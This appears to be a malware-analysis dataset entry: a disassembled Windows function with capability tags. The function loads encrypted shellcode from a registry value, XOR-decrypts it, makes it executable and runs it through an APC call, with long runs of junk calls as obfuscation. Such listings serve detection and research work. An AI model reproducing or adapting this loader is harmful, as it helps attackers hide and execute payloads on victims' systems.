Function at 0x140001478
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x30
call fcn.140001118
test eax, eax
je 0x140001495
call fcn.14000108c
call section..text
test eax, eax
je 0x1400014a3
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x1400014b1
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x1400014bf
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x1400014cd
call section..text
call fcn.140001118
test eax, eax
je 0x1400014db
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x1400014e9
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x1400014f7
call section..text
call fcn.140001238
test eax, eax
je 0x140001505
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x140001513
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001521
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x14000152f
call fcn.140001238
call section..text
test eax, eax
je 0x14000153d
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x14000154b
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x140001559
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001567
call fcn.1400013e8
call fcn.1400011a4
test eax, eax
je 0x140001575
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001583
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001591
call section..text
call section..text
test eax, eax
je 0x14000159f
call fcn.14000108c
call fcn.140001118
test eax, eax
je 0x1400015ad
call fcn.14000108c
call section..text
test eax, eax
je 0x1400015bb
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x1400015c9
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x1400015d7
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x1400015e5
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x1400015f3
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001601
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x14000160f
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x14000161d
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x14000162b
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001639
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x140001647
call section..text
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x30]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x30]
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x20]
lea rdx, str.huorongcaoqq
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x20]
call fcn.14000211c
mov rcx, qword [rbp + 0x30]
lea rdx, str.huorongcaoqq
mov rbx, rax
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x20]
call fcn.14000211c
mov esi, dword [rbp + 0x20]
mov rdi, rax
test esi, esi
je 0x140001704
mov r8, rax
sub rbx, rax
mov rdx, rax
neg r8
mov al, byte [rbx + rdx]
mov byte [rdx], al
mov esi, dword [rbp + 0x20]
inc rdx
lea rcx, [r8 + rdx]
cmp rcx, rsi
jb 0x1400016f0
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call section..text
test eax, eax
je 0x14000171c
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x14000172a
call section..text
call section..text
test eax, eax
je 0x140001738
call fcn.1400011a4
call fcn.140001118
test eax, eax
je 0x140001746
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x140001754
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001762
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001770
call section..text
call section..text
test eax, eax
je 0x14000177e
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x14000178c
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x14000179a
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x1400017a8
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x1400017b6
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x1400017c4
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x1400017d2
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x1400017e0
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x1400017ee
call section..text
call fcn.14000108c
test eax, eax
je 0x1400017fc
call section..text
call fcn.140001118
test eax, eax
je 0x14000180a
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x140001818
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001826
call section..text
call section..text
test eax, eax
je 0x140001834
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001842
call section..text
call section..text
test eax, eax
je 0x140001850
call fcn.1400011a4
call fcn.140001118
test eax, eax
je 0x14000185e
call fcn.1400011a4
call fcn.140001238
test eax, eax
je 0x14000186c
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x14000187a
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001888
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x140001896
call fcn.140001238
call section..text
test eax, eax
je 0x1400018a4
call fcn.140001358
call fcn.14000108c
test eax, eax
je 0x1400018b2
call fcn.1400013e8
call fcn.140001118
test eax, eax
je 0x1400018c0
call fcn.140001238
call fcn.1400011a4
test eax, eax
je 0x1400018ce
call fcn.1400012c8
xor r8d, r8d
xor r9d, r9d
test esi, esi
je 0x14000192d
mov r10, rdi
lea rax, str.0x69
movsx ecx, byte [r9 + rax]
mov eax, 0x4ac525d3
inc r9
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x14000191a
dec eax
or eax, 0xfffffffc
inc eax
neg eax
sbb rax, rax
inc r8d
inc r10
and r9, rax
cmp r8d, esi
jb 0x1400018db
call fcn.140001118
test eax, eax
je 0x14000193b
call fcn.14000108c
call section..text
test eax, eax
je 0x140001949
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x140001957
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001965
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001973
call section..text
call fcn.140001118
test eax, eax
je 0x140001981
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x14000198f
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x14000199d
call section..text
call fcn.140001238
test eax, eax
je 0x1400019ab
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x1400019b9
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x1400019c7
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x1400019d5
call fcn.140001238
call section..text
test eax, eax
je 0x1400019e3
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x1400019f1
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x1400019ff
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001a0d
call fcn.1400013e8
call fcn.1400011a4
test eax, eax
je 0x140001a1b
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001a29
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001a37
call section..text
call section..text
test eax, eax
je 0x140001a45
call fcn.14000108c
call fcn.140001118
test eax, eax
je 0x140001a53
call fcn.14000108c
call section..text
test eax, eax
je 0x140001a61
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x140001a6f
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001a7d
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x140001a8b
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x140001a99
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001aa7
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x140001ab5
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x140001ac3
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x140001ad1
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001adf
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x140001aed
call section..text
lea r9, [rbp + 0x28]
mov edx, esi
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbx
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret